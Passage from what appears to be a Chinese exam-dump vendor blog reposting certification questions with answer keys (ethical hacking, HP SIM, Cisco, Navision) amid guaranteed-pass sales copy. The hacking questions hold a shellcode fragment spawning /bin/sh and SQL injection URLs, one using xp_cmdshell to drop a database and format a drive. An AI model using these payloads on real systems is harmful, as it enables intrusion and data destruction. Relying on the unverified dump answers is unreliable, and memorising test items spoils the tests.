"x07×89x76×08x89×46x0cx89xf3×8dx4ex08×8dx56"
"x0cx52×51x53×53xb0×3bxcdx80×31xc0×31xdbx53"
"x53xb0×01xcdx80xe8×84xffxffxffxffx01xffxffx30"
"x62×69x6ex30×73x68×31x2ex2ex31×31x76×65x6e"
"x67×6cx69×6e";
static int magic[MAX_MAGIC],magic_d[MAX_MAGIC];
static char *magic_str=NULL;
int before_len=0;
What can he infer from this file?
A. An encrypted file
B. A uuencoded file
C. A buffer overflow
D. A picture that has been renamed with a .txt extension
Answer: C

14. Clive has been hired to perform a Black-Box test by one of his clients. How much information will Clive be able to get from the client before commencing his test?
A. Only the IP address range
B. Nothing but corporate name
C. All that is available from the client
D. IP Range, OS, and patches installed
Answer: B

15. while attempting to discover the remote operating system on the target computer, you receive the following results from an nmap scan:
Starting nmap V. 3.10ALPHA9 ( www.insecure.org/nmap/ )
Interesting ports on 172.121.12.222:
(The 1592 ports scanned but not shown below are in state: filtered)
Port State Service
21/tcp open ftp
25/tcp open smtp
53/tcp closed domain
80/tcp open http
443/tcp open http
Remote operating system guess: Too many signatures match to reliably guess the OS.
Nmap run completed — 1 IP address (1 host up) scanned in 277.483 seconds
What would you do next to fingerprint the OS?
A. Run an nmap scan with the -vv option
B. Perform a tcp traceroute to the system using port 53
C. Perform a Firewalk with that system as the target IP
D. Connect to the active services and review the banner information
Answer: D

16. Jess the hacker runs L0phtCrack’s built-in sniffer utility that grabs SMB password hashes and stores them for offline cracking. Once cracked, these passwords can provide easy access to whatever network resources the user account has access to. But Jess is not picking up hashes from the network. Why?
A. The physical network wire is on fibre optic cable
B. The network protocol is configured to use IPSEC
C. The network protocol is configured to use SMB Signing
D. L0phtCrack SMB sniffing only works through Switches and not Hubs
Answer: C

17. What is the most common vehicle for social engineering attacks?
A. Email
B. Direct in person
C. Local Area Networks
D. Peer to Peer networks
Answer: B

18. You are conducting pen-test against a companys website using SQL Injection techniques. You enter "anything’ or 1=1 ? in the username field of an authentication form. This is the output returned from the server.
What is the next step to be done?
A. Reboot the web server by running:
http://www.example.com/order/include_rsa.asp?pressReleaseID=5 AND xp_cmdshell ‘iisreset -reboot’; –
B. Identify the user context of the web application by running:
http://www.example.com/order/include_rsa.asp?pressReleaseID=5 AND USER_NAME() = ‘dbo’
C. Delete the database and format the C: drive by running:
http://www.example.com/order/include_rsa.asp?pressReleaseID=5 AND drop database myDB; xp_cmdshell ‘format c: /q /yes ‘; –
D. Identify the database and table name by running:
http://www.example.com/order/include_rsa.asp?pressReleaseID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype=’U'),1))) > 109
Answer: B

19. Bob has set up three web servers on Windows Server 2003 IIS 6.0. Bob has followed all the recommendations for securing the operating system and IIS. These servers are going to run numerous e-commerce websites that are projected to bring in thousands of dollars a day. Bob is still concerned about the security of these servers because of the potential for financial loss. Bob has asked his companys firewall administrator to set the firewall to inspect all incoming traffic on ports 80 and 443 to ensure that no malicious data is getting into the network.Why will this not be possible?
A. Firewalls cannot inspect traffic coming through port 443
B. Firewalls can only inspect outbound traffic
C. Firewalls cannot inspect traffic coming through port 80
D. Firewalls cannot inspect traffic at all, they can only block or allow certain ports
Answer: D

20. Joel and her team have been going through tons of garbage, recycled paper, and other rubbish in order to find some information about the target they are attempting to penetrate. How would you call this type of activity?
A. Scanning
B. CI Gathering
C. Dumpster Diving
D. Garbage Scooping
Answer: C

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免费HP0-176学习资料

Filed under: HP — admin @ 8:14 am

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HP0-176 考试是 HP 公司的 Dessign &Implementation of HP SIM for ISS Solutions 认证考试官方代号,Examsoon的 HP0-176 权威考试题库软件是 HP 认证厂商的授权产品,Examsoon 绝对保证第一次参加 HP0-176考试的考生即可顺利通过,否则承诺全额退款!

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Examsoon
部分最新免费HP0-176认证题库
:(您也可以联系我下载部分最新HP0-176考试题库)

 
 
Exam : HP HP0-176
Title : Design & Implementation of HP SIM for ISS Solutions

1. You want to remove a user from the HP SIM database. What should you do with the tasks owned by that user?
A. Drag and drop the tasks to another user.
B. Remove or reassign the tasks before the user is removed.
C. Nothing, they get automatically assigned to the administrator.
D. Create a copy of these tasks and save under another users name.
Answer: B

2. As a system administrator you notice that on the ‘all systems’ list in HP SIM, the status for some of the software versions are not available. What is a possible cause? Select TWO.
A. The software status polling task has not yet run.
B. The trust relationship is not set correctly on the managed server.
C. There are insufficient user rights to view the software status of these servers.
D. OpenSSH is not configured properly on the Central Management Server and the managed device.
E. The version control agent is pointing to a version control repository manager not installed on the HP SIM server.
Answer: AB

3. Which component within the PMP multi-tier architecture performs the collected data analysis?
A. the PMP engine running on the middle tier
B. the database engine running on the middle tier
C. the PMP analytical engine running on the client machine
D. the HP Insight Management Agents running on the monitored servers
Answer: A

4. What is used by the version control feature in HP SIM to perform software and firmware updates?
A. HP Management agents
B. Version Control Agent (VCA)
C. Version Control Update Manager
D. Version Control Repository Manager (VCRM)
Answer: B

5. What kind of task is data collection?
A. a polling task
B. a control task
C. an event task
D. a notification task
Answer: A

6. You would like to increase the sample rate for Performance Management Pack (PMP) on a Windows server. Where can you change this setting?
A. in HP SIM; select tasks, PMP, polling interval
B. on the Monitoring Administration page in PMP
C. in HP SIM; select the sample rate on the settings page
D. in the SNMP settings for the HP Management Agents in Control panel
Answer: D

7. You want to deploy the VMM agent from the CMS to manage Microsoft Virtual Servers. What should you install first on the VM host server?
A. IIS
B. OpenSSH
C. virtualization layer
D. Secure Sockets Layer
Answer: B

8. When a system administrator creates a task to update software and firmware on systems in HP SIM running Windows, what happens?
A. HP SIM sends update software commands to the VCRM on the target systems. The VCRM contacts the VCA.
B. HP SIM contacts the HP Management Agents on the target systems who take care of the update process.
C. HP SIM sends update software commands to the VCA on the target systems. The VCA contacts the VCRM.
D. HP SIM sends update software commands to the VCA on the target systems. The VCA contacts the HP Management agents to start the update.
Answer: C

9. You want to deploy the ProLiant Support Pack to a remote ProLiant server by using HP SIM. The remote server has no management agents installed yet. How should you proceed?
A. Install OpenSSH first to establish the trust and then use the Install Software and Firmware option.
B. Create a trust relationship between the remote server and the CMS and then use the Install Software and Firmware option.
C. Create a user on the remote server known by HP SIM and then use the Install Software and Firmware option.
D. Use the Initial ProLiant Support Pack Install and provide the login credentials for the remote server in the setup wizard.
Answer: D

10. A system administrator checks the installed firmware versions on an Itanium system running HP-UX and discovers that the status is unknown. What could be the issue?
A. Itanium systems are not supported in HP SIM.
B. HP-UX is not supported in the Version Control Architecture.
C. The Version Control Agent (VCA) is not installed on the Itanium server.
D. The trust relationship between the Itanium system and the CMS is not set up.
Answer: B

11. Which protocol does HP SIM use to retrieve system software and firmware inventory from HP servers?
A. MIF
B. SNMP
C. SMTP
D. OpenSSH
Answer: B

12. You want to deploy multiple patches to a server using VPM. Each patch requires a reboot. How will VPM handle these reboots?
A. VPM will automatically reboot after each patch is installed.
B. VPM waits for user interaction after each patch is installed.
C. VPM will automatically wait until all patches are installed before rebooting.
D. VPM gives you the opportunity to suppress each reboot until the last patch is installed.
Answer: D

13. Click the exhibit button.
Why do the Encl_D324KJP3H001 and RACK1 components not have a status icon?
A. These components are not supported.
B. These components have an unknown status.
C. These components have not yet been fully discovered.
D. These components have an old firmware or management agents.
Answer: B

14. When performing a Virtual to Physical migration (V2P), what should you do once the migration is finished and the physical server has rebooted?
A. Remove the SSH folder from the physical server.
B. Install the VMM agent on the physical server to finalize the migration.
C. Install the latest ProLiant Support Pack (PSP) on the physical machine.
D. Use the Found New Hardware Wizard of the Microsoft OS to install all needed drivers.
Answer: C

15. What is required for HP Systems Insight Manager 5.0 to correctly associate the ProLiant p-Class server blade iLOs and the enclosures in which they reside?
A. The BladeSystem management module firmware must be 2.10 or later.
B. The server blades must be installed in the enhanced server blade enclosure.
C. HP Insight Management Agents 5.50 or later must be installed on the server blades.
D. HP BladeSystem Integrated Manager plug-in must be installed on the HP SIM server.
Answer: C

16. You have finished installing Vulnerability and Patch Management (VPM) on an HP System Insight Manager server. Once the server is rebooted, which step should you perform next for VPM to function correctly?
A. Run a VPM scan on all managed servers to set a baseline.
B. Run mxtool -a -s VPM to compile the newly installed tool into HP SIM.
C. Configure the acquisition of vulnerability and patch updates in HP SIM.
D. Contact the Microsoft and RedHat website to configure the download of vulnerability and patch updates.
Answer: C

17. The system administrator opens the tools menu, and selects the command line tools and only finds Windows based tools. However, when consulting the documentation, it shows UNIX/Linux commands as well. What could be a reason?
A. HP SIM is not licensed for UNIX/Linux tools.
B. HP SIM only discovered Windows systems.
C. The UNIX/Linux extension pack is not installed.
D. The UNIX/Linux tools in HP SIM are not enabled.
Answer: B

18. When performing a Physical to Virtual (P2V) migration, what are some of the prerequisites for the source physical machine? Select TWO.
A. Assign a static IP address to the source physical machine.
B. Ensure that the VMM agent is installed on the source physical machine.
C. Verify that the source physical machine contains only RAID5 disk arrays.
D. Temporarily disable the management agents on the source physical machine.
E. Verify that all partitions on the source physical machine have a valid file system and are in a healthy state.
Answer: DE

19. When a system administrator attempts to update the firmware on a p-Class GbE2 interconnect switch using HP SIM, the update is unsuccessful. What could be the reason?
A. The HP SIM server is running on Linux.
B. The VCA agent on the p-Class GbE2 interconnect switch is not active.
C. The p-Class GbE2 interconnect switch is not licensed for firmware upgrades.
D. The p-Class GbE2 interconnect switch can only be upgraded using the serial connection.
Answer: A

20. You notice that a Microsoft Windows 2000 server is discovered by HP SIM and appears on the HP SIM home page but not in the PMP License Administration page. Why?
A. The PMP sample rate is too high and PMP has not yet discovered this server.
B. This server has HP Insight Management Agents version 6.2, which reports the wrong operating system name.
C. Database synchronization issues are preventing PMP from retrieving the list of discovered servers.
D. This server was discovered by the WBEM protocol and has the operating system version appended with a build number.
Answer: D

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Filed under: Cisco — admin @ 7:16 am

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:(您也可以联系我下载部分最新642-054考试题库)

 
 
Exam : Cisco 642-054
Title : Cisco(r) RSSSE Routing and Switching Solutions for Systems Engineer

1. The PVDM slots on the motherboard of the Cisco 2800 and 3800 ISR are used for what purpose?
A. to support built-in VPN acceleration providing high-performance Crypto offload
B. to support the high-performance AIM modules
C. to support the onboard TDM switch
D. to support the integrated DSPs for voice termination, conferencing and transcoding
E. to support the EVM
Answer: D

2. What are three important characteristics of the Cisco Catalyst 2960G-24TC switch? (Choose three.)
A. Each Ethernet 10/100/1000 port supports up to six priority queues each with two drop thresholds.
B. does not support 802.3af PoE
C. uses the GBIC/SFP form factor for dual-purpose ports
D. provides a maximum forwarding bandwidth of 32 Gbps
E. contains 24 Ethernet 10/100/1000 ports and 2 dual-purpose slot
Answer: BCD

3. What are three important characteristics of the Cisco Catalyst C3750G-48PS switch? (Choose three.)
A. provides a maximum forwarding bandwidth of 32 Gbps
B. supports class 2, 802.3af PoE up to a maximum of 24 ports
C. provides GBIC support for a single 10 Gigabit Ethernet interface
D. contains 48 Ethernet 10/100/1000 ports and 4 dual-purpose slots
E. can group up to nine switches into a single stack using Cisco StackWise
Answer: ADE

4. What are three important characteristics of the Cisco Catalyst C3560G-48PS switch? (Choose three.)
A. supports Layer 3 IP routing services
B. supports class 2, 802.3af PoE up to a maximum of 24 ports
C. uses the GBIC/SFP form factor for dual-purpose ports
D. provides a maximum forwarding bandwidth of 32 Gbps
E. contains 48 Ethernet 10/100/1000 ports and 2 dual-purpose slots
Answer: ACD

5. Which three statements are correct regarding SDMv2.0? (Choose three.)
A. supports smart wizards with built-in intelligence about recommended Cisco IOS configurations for different use scenarios
B. extends its scope to other functions besides security, such as QoS policy configuration
C. provides industry-leading security management tool available for all Cisco router and Catalyst switch platforms
D. supports only HTTPS access, and not HTTP
E. supports role-based access
Answer: ABE

6. Your customer needs to manage branch router configurations using local staff but is concerned that the Cisco CLI is too complicated. What should you recommend to mitigate this concern?
A. The Cisco IOS CLI has context-sensitive help to ease the CLI configuration task.
B. The Cisco IOS CLI Setup command provides guided steps for most configuration tasks.
C. The Cisco IOS SDM simplifies configuration tasks.
D. Cisco’s website has configuration documentation available for all currently supported releases.
E. Cisco Device Manager (CDM) has easy-to-use GUI wizards for most router configuration tasks.
Answer: C

7. Which three are benefits of using the Cisco Cluster Management Suite Software to manage multiple switches? (Choose three.)
A. can be accessed through any standard Web browser
B. manages up to 16 geographically dispersed switches simultaneously
C. manages up to 24 geographically dispersed switches simultaneously
D. provides Web-based interface for configuring and managing Catalyst OS functions
E. provides Web-based interface for configuring and managing Cisco IOS functions
Answer: ABE

8. Refer to the exhibit. The policy map VoiceOut is an outbound service policy on interface serial 0/0. What overall congestion management feature is in use?
A. priority queuing
B. custom queuing
C. low latency queuing
D. weighted fair queuing
E. class-based weighted fair queuing
Answer: C

9. Which three of these are benefits of deploying MPLS VPN to provide remote-site connectivity? (Choose three.)
A. supports any-to-any routing between all sites
B. provides enterprise traffic separation similar to Frame Relay or ATM
C. dynamically establishes spoke-to-spoke tunnels as required
D. simplifies hub router configuration where only a single multipoint GRE tunnel interface is used to support all remote sites
E. traffic-engineered tunnels can be configured to provide customized routing of enterprise traffic across the SP network
Answer: ABE

10. Refer to the exhibit. What are three benefits of extending advanced QoS to the edge of the network? (Choose three.)
A. enables immediate classification and marking of traffic
B. guarantees end-to-end bandwidth
C. minimizes traffic on the backbone
D. enables easier setup of per-user policies
E. frees up router processing power
Answer: ADE

11. Refer to the exhibit. You are required to upgrade the network of a two-story branch office building to support wireless LAN access throughout the building. What three configuration tasks should be completed on the building switches to maximize the efficiency of the wireless design? (Choose three.)
A. limit broadcast traffic to the access point by enabling VLAN filtering
B. limit multicast traffic to the access point by enabling IGMP snooping
C. enable VTP on the access point to allow VLAN support over the wireless network
D. extend ISL VLAN trunks to the access points for VLAN transport
E. limit the number of VLANs connecting to any access point to a maximum of 16
Answer: ABE

12. You are required to upgrade the network of a multistory branch office building to support Cisco 7970 IP Phones throughout. Given that each phone uses 15.4 W, how many phones can a Cisco Catalyst 3750 support using Cisco Intelligent Power Management in a 48-port PoE configuration?
A. 8
B. 16
C. 24
D. 32
E. 48
Answer: C

13. Refer to the exhibit. Which type of campus network is represented?
A. small
B. medium
C. large
D. server farm
Answer: A

14. To improve performance on the ISR platforms when supporting concurrent integrated services, the network modules, HWICs, AIMs, and DSPs connect directly into which hardware component?
A. custom ASIC
B. SCSI bus
C. PCI bus
D. crossbar bus
E. CPU
Answer: A

15. Which Cisco 7600 module allows the router to be used as an aggregator for high-speed remote WAN links and transparent LAN services?
A. CIP services
B. link aggregator
C. optical services
D. transport services
E. Enhanced FlexWAN
F. multiflex trunking
Answer: E

16. Which three are correct when applying Cisco IOS QoS features at the branch office? (Choose three.)
A. Unidirectional applications may require bandwidth allocation in only one direction.
B. On slow WAN links, TCP header compression should always be implemented for the voice traffic class.
C. AutoQoS VoIP can automatically classify voice bearer and control traffic as well as video traffic.
D. Branch routers are a strategic place to deploy NBAR policies for worm identification and policing.
E. Classification and marking will need to be performed on the branch router’s LAN edge in the ingress direction.
Answer: ADE

17. In most cases, when designing a small campus network, what is the top priority for the client?
A. network redundancy
B. support for applications
C. high performance and availability
D. cost effectiveness
Answer: D

18. Which two standards enable the PVDM module on the ISR to provide secure communications with IP Phones? (Choose two.)
A. SRTP
B. AES encryption
C. RUDP
D. RSA signature
E. MD5 hash
F. IPSec
Answer: AB

19. Refer to the exhibit. What are three key benefits of implementing this branch solution using the components listed? (Choose three.)
A. supports standard 802.3af PoE
B. provides feature parity with the Cisco Catalyst 3750 Series of switches
C. provides integrated configuration of both routing and switching functions under a single Cisco IOS instance.
D. switch ports can be stacked with external Catalyst Series switches using Cisco StackWise technology
E. maximizes concurrent routing and switching performance by using local processors and switching engines
Answer: ABE

20. When using the ISR to implement a NAC solution, the ISR is configured to act as which NAC component?
A. 802.1x supplicant
B. PVS
C. posture agent
D. NAD
E. AAA server
Answer: D

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优点:不需下载安装软件,方便用户打印和携带,但也带来了可随意制的弊端,因此我们提醒用户不得随意公开或出售本站的642-054题库,一经发现立即取消其升级资格,且不予退款。
缺点:不具备测试模式,通过查看Examsoon网站及查收我们的更新E-MAIL获取更新信息。

最新MB7-231认证考试题库下载

Filed under: Microsoft — admin @ 6:18 am

最新MB7-231考试题库

Examsoon最新MB7-231认证真题,真题覆盖率达到90%以上。考不过全额退款保障,让您认证无忧。绝对真实来自Examsoon的高质量题库。

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MB7-231 考试是 Microsoft 公司的 Navision 4.0 Relationship Management 认证考试官方代号,Examsoon的MB7-231权威考试题库软件是Microsoft认证厂商的授权产品,Examsoon绝对保证第一次参加 MB7-231 考试的考生即可顺利通过,否则承诺全额退款!

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Examsoon
部分最新免费MB7-231认证题库
:(您也可以联系我下载部分最新MB7-231考试题库)

 
 
Exam : MBS MB7-231
Title : Navision 4.0 Relationship Management

1. If you want to store the documents inside Microsoft Navision, which option do you need to specify in the Setup window?
A. Disk File
B. Embedded
C. Network
D. No setup option is needed
Answer: B

2. What is the effect if you enter a low percentage in the Search Hit field?
A. A lower number gives a better chance of finding true duplicates
B. The number has no effect on finding duplicates
C. A higher number does not find as many true duplicates
D. A lower number finds many duplicates, but many of these will not be true duplicates
Answer: D

3. To record a phone call as an interaction, what must be done prior to recording the interaction?
A. Relationship Management must have all Number Series setup.
B. The Interaction Template Code for Outgoing phone calls has been selected on the Interactions tab of the Relationship Management setup window.
C. Outgoing calls should automatically be recorded.
D. Manually process the telephone call in a new Microsoft Word document and save this as an attachment to the Interaction Template
Answer: B

4. Your company has an opportunity to sell 20 pieces of office furniture to a potential new customer and the customer has asked for a sales quote. You would like to enter this opportunity into the system, but not yet make a customer card because the sale is in an early stage. What type of card should you make to enter the opportunity under?
A. To-do
B. Customer Card
C. Customer Template
D. Sales quotes can be entered without any codes
Answer: C

5. Your company normally assigns attachments to Interaction Templates. Select all kinds of documents that can be assigned to Interaction Templates
A. New Microsoft Word Documents
B. Import all types of documents
C. Copy already existing attachments from other interaction templates
D. .pdf files
Answer: ABC

6. Automatically recorded interactions primarily occur when you do the following action:
A. Post All Sales Documents
B. Print the various documents
C. No action is needed to record interactions automatically
D. Click on Posting | Record Interaction from the Document form
Answer: C

7. Which field on the Contact Card contains the date of the last interaction which was successful or unsuccessful?
A. Last Date Attempted
B. Date of Last Interaction
C. Last Date Modified
D. No such field exists
Answer: A

8. What is the default Time Interval (Sec.) setting within the E-mail Logging tab?
A. 10 seconds
B. 15 seconds
C. 30 seconds
D. 60 seconds
Answer: C

9. Before a Sales Quote is created, what must be defined?
A. A Contact
B. Customer Template
C. Opportunity must exist
D. A Shipping Address
Answer: ABC

10. You would like to use Campaign Pricing to setup your promotional prices for items on your campaign. What are the 2 different methods that the program allows you to set these promotional prices?
A. Freehand and annual percentage
B. Percentage and straight line
C. Fixed sales price and discount percentage
D. Fixed sales price and freehand
Answer: C

11. Your company makes changes or additions to the contact card each time it is opened. You would like the system to update the data in the fields each time a change has taken place. You will want to set up your Search Index Mode field with the following selection:
A. Each Time
B. Manual
C. Automatic
D. Blurry Key
Answer: C

12. What function would you use if you would like to save a Sales Quote?
A. Archive Document function
B. Save Document function
C. Restore Document function
D. Log Interaction function
Answer: A

13. You need to delete an interaction log entry from the database due to a mistake. What needs to be done to the interaction to allow deletion from the system?
A. Open
B. Closed
C. Saved
D. Canceled
Answer: D

14. Within Microsoft Navision Relationship Management, Synchronization can occur for the following:
A. Bank Accounts, Customers, and Vendors
B. Country, Currency Codes, and G/L Accounts
C. G/L Accounts only
D. All Master Records within Microsoft Navision
Answer: A

15. The duplicate search feature in the Relationship Management area works on which of the following selections?
A. Contact person only
B. Contact company only
C. Both contact person and company
D. Only contacts that have been created as customers
Answer: B

16. What is the result of two or more users opening and/or modifying an interaction template attachment at the same time?
A. All user changes occur when the document is imported
B. No changes occur when the document is imported
C. The changes of the first user to import the document will be saved
D. Microsoft Navision will shut down
Answer: C

17. The Contact Web Sources window is used for what?
A. To see the last time the Contact paid their bill.
B. To check the amount owed by the contact.
C. To select a search engine or web site and enter in a search word that the program will use when searching for information about the contact on the Internet.
D. This window is used to show all internet activity by the contact to your website to include inquiries, online sales and payments.
Answer: C

18. You would like the Microsoft Navision application to automatically record interactions. What types of processes will NOT record interactions?
A. Print Sales and Purchase Quotes
B. Print Sales and Purchase Orders
C. Print Sales and Purchase Invoices
D. Post Sales and Purchase Blanket Orders
Answer: D

19. You have two options in the Relationship Management Setup window: Inheritance Information and Defaults Information. Which of the following override the other when both are selected or filled in?
A. The default information overrides the inheritance information.
B. The inheritance information overrides the default information.
C. The first information to be filled in overrides.
D. All original information is used as the override.
Answer: B

20. Interaction templates are modules you use to:
A. Process Interactions
B. Create Interactions
C. Record Interactions
D. Delete Interactions
Answer: B

Examsoon
MB7-231学习资料

Examsoon
MB7-231题库,不同于Testiinside MB7-231、certtinside MB7-231、Pass4sideMB7-231、TestkingMB7-231、Pass4sureMB7-231的题库资料,是全球IT认证资料供应力量,以高科技的仿真效果,完全覆盖各类IT认证考试真题,保证您一次性得到最标准的认证真题测试。

Examsoon MB7-231 的优势

1.Examsoon 模拟测试题具有最高的专业技术含量,只供具有相关专业知识的专家和学者学习和研究之用。

2.该测试已取得试题持有者和第三方的授权,我们深信IT业的专业人员和经理人有能力保证被授权产品的质量。

3.如果你使用 Examsoon模拟测试,我们将保证你的第一次参加考试即取得成功,否则,我们将全额退款!

4.提供每种产品免费测试。在您决定购买之前,请检测联接,可能存在的问题及试题质量和适用性。

MB7-231 考试是 Microsoft 公司的 Navision 4.0 Relationship Management 认证考试官方代号,Examsoon的 MB7-231 权威考试题库软件是 Microsoft 认证厂商的授权产品,Examsoon 绝对保证第一次参加 MB7-231考试的考生即可顺利通过,否则承诺全额退款!

Navision 4.0 Relationship Management 认证作为全球IT领域专家 Microsoft 热门认证之一,是许多大中IT企业选择人才标准的必备条件。 如果你正在准备 MB7-231 考试,为 Microsoft Navision 4.0 Relationship Management认证做最后冲刺,又苦于没有绝对权威的考试真题模拟, Examsoon希望能助你成功。

1、Examsoon考题大师MB7-231试题都是考试原题的完美组合,覆盖率95%以上,答案由多位专业资深讲师原版破解得出,正确率100%,只要您使用本站的考试题库参加MB7-231 考试,我们保证您一次轻松通过考试;

2、售后服务第一!我们相信要想在当今时代取得成功,必须为广大用户提供全套的周到细致的全程优质售后服务,只有客户满意了,我们才能发展。客户至上是我们Examsoon考题大师的一贯宗旨;

3、Examsoon实行“一次不过全额退款”承诺。如果您购买我们MB7-231的考题,只要不是首次通过,凭盖有PROMETRIC或VUE考试中心钢印的考试成绩单,我们将退还您购买MB7-231考题大师的全部费用,绝对保证您的利益不受到任何的损失;

4、本站MB7-231题库根据MB7-231考试的变化动态更新,在厂家考题每次发生变化后,我们承诺2天内更新MB7-231题库。确保MB7-231考题的覆盖率始终都在95%以上;我们提供2种 MB7-231 考题大师版本供你选择。

5、软件版本MB7-231 考试题库
优点:具有学习模式,测试模式,线上自动升级
缺点:仅限固定电脑使用,不可打印为文本,只能PC阅读

6、PDF 格式MB7-231考试题库
优点:不需下载安装软件,方便用户打印和携带,但也带来了可随意制的弊端,因此我们提醒用户不得随意公开或出售本站的MB7-231题库,一经发现立即取消其升级资格,且不予退款。
缺点:不具备测试模式,通过查看Examsoon网站及查收我们的更新E-MAIL获取更新信息。

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